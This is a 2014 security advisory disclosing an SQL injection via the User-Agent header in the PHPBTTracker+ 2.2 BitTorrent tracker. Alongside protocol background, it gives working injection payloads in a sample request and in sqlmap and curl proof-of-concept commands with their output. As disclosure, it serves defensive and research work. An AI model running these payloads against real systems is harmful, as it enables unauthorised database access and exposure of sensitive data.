# Exploit Title: PHPBTTracker+ 2.2 SQL Injection # Date: May 13th, 2014 # Exploit Author: BackBox Team <info@backbox.org> # Vendor Homepage: http://phpbttrkplus.sourceforge.net/ # Software Link: http://sourceforge.net/projects/phpbttrkplus/files/ # Version: PHPBTTracker+ 2.2 # Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0 ======================================================================== Advisory: PHPBTTracker+ 2.2 SQL Injection Disclosure by: BackBox Team <info@backbox.org> Severity: High I. INTRODUCTION ======================================================================== SQL Injection through User-Agent. User agent is an HTTP header section provided by application used by the original client. This is used for statistical purposes and the protocol violation tracing. The first white space delimited word must include the product name with an optional slash and version number. User agent injection is a critical issue for web applications. In this specific case it’s worthed to do an investigation on the header section of user-agent to see if there is any malformation that will allow an SQLi. Example: GET /tracker.php User-Agent: Transmission/2.51' OR (SLEEP(20)) AND 'aaaa'='aaaa Host: [host] Accept: */* Accept-Encoding: gzip;q=1.0, deflate, identity II. BACKGROUND ======================================================================== BitTorrent tracker protocol is used by clients to request the IP addresses of other peers associated with a torrent, and to exchange the client's transfer statistics. Clients connect to a centralized server, known as a *tracker*, which stores their IP addresses and responds with the IP addresses of other clients (also known as *peers*). The tracker has no knowledge about the association of the nodes and their pieces (it functions only as bridge between clients). The standard tracker protocol is based on HTTP, with request data encoded as query parameters (as used by HTML forms) and response data BEncoded. Query parameters must be encoded according to the rules for HTML form submissions through HTTP GET: 'reserved character' bytes are encoded in hexadecimal as %HH, and space is encoded as "+"; names and values are joined with "=" and the pairs joined with "&". The tracker's URL announce is obtained from the announce entry of the root dictionary of the torrent metadata file. Clients announce themselves by sending a GET request to the tracker's URL announce with "?" and the following parameters (encoded as above) appended: info_hash The 20 byte sha1 hash of the bencoded form of the info value from the metainfo file. Note that this is a substring of the metainfo file. Don't forget to URL-encode this. peer_id A string of length 20 which the downloader uses as its id. Each downloader generates its own id at random at the start of a new download. Don't forget to URL-encode this. port Port number that the peer is listening on. Common behavior is for a downloader to try to listen on port 6881 and if that port is taken try 6882, then 6883, etc. and give up after 6889. uploaded Total amount uploaded so far, represented in base ten in ASCII. downloaded Total amount downloaded so far, represented in base ten in ASCII. left Number of bytes that a specific client still has to download, represented in base ten in ASCII. Note that this can't be computed from downloaded and the file length since the client might be resuming an earlier download, and there is a chance that some of the downloaded data failed an integrity check and had to be re-downloaded. event Optional key which maps to started, completed, or stopped (or empty, which is the same as not being present). If not present, this is one of the announcements done at regular intervals. An announcement using started is sent when a download first begins, and one using completed is sent when the download is complete. No completed is sent if the file was complete when started. Downloaders should send an announcement using 'stopped' when they cease downloading, if they can. Example: http://hostname/announce ?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4 &peer_id= &port=51413 &uploaded=0 &downloaded=0 &left=0BackBox &event=started III. DESCRIPTION ======================================================================== In order to exploit the vulnerability the torrent has to be managed by the tracker. First we need to extract the GET request, and parse out the parameter "info_hash", a proxy or a traffic sniffer like Wireshark can help us to do that. Example: GET /phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started HTTP/1.1 User-Agent: Transmission/2.51 Host: hostname Accept: */* Accept-Encoding: gzip;q=1.0, deflate, identity Then it's possible to inject SQL commands inside the User-Agent field. IV. PROOF OF CONCEPT ======================================================================== Is it possible to verify the vulnerability by using, for example, sqlmap or curl... * Using SQLMap raffaele@backbox:~$ sqlmap -u "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -o --level 3 -p user-agent [...] User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 318 HTTP(s) requests: --- Place: User-Agent Parameter: User-Agent Type: boolean-based blind Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) Payload: sqlmap/1.0-dev-0f581cc (http://sqlmap.org)" RLIKE (SELECT (CASE WHEN (6960=6960) THEN 0x73716c6d61702f312e302d6465762d306635383163632028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND "mhBW"="mhBW --- * Using curl raffaele@backbox:~$ curl "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -A 'asd" OR (SLEEP(15)) AND "' [...] d8:intervali1800e12:min intervali300e5:peersld2:ip9:127.0.0.17:peer id20:4:porti51413eed2:ip9:127.0.0.17:peer id20:04:porti51413eee10:tracker id4:1131e V. BUSINESS IMPACT ======================================================================== An attacker could execute arbitrary SQL queries on the vulnerable system. This may compromise the integrity of database and/or expose sensitive information. VI. SYSTEMS AFFECTED ======================================================================== PHPBTTracker+ Version 2.2 is vulnerable (probably v2.x and RivetTracker v1.x too) Software Link: http://phpbttrkplus.sourceforge.net/ Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0 VII. REFERENCES ======================================================================== https://wiki.theory.org/BitTorrent_Tracker_Protocol http://resources.infosecinstitute.com/sql-injection-http-headers VIII. CREDITS ======================================================================== The vulnerability has been discovered by BackBox Linux Team http://www.backbox.org IX. VULNERABILITY HISTORY ======================================================================== May 13th, 2014: Vulnerability identification May ??th, 2014: Vendor notification May ??th, 2014: Vulnerability disclosure X. LEGAL NOTICES ======================================================================== The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.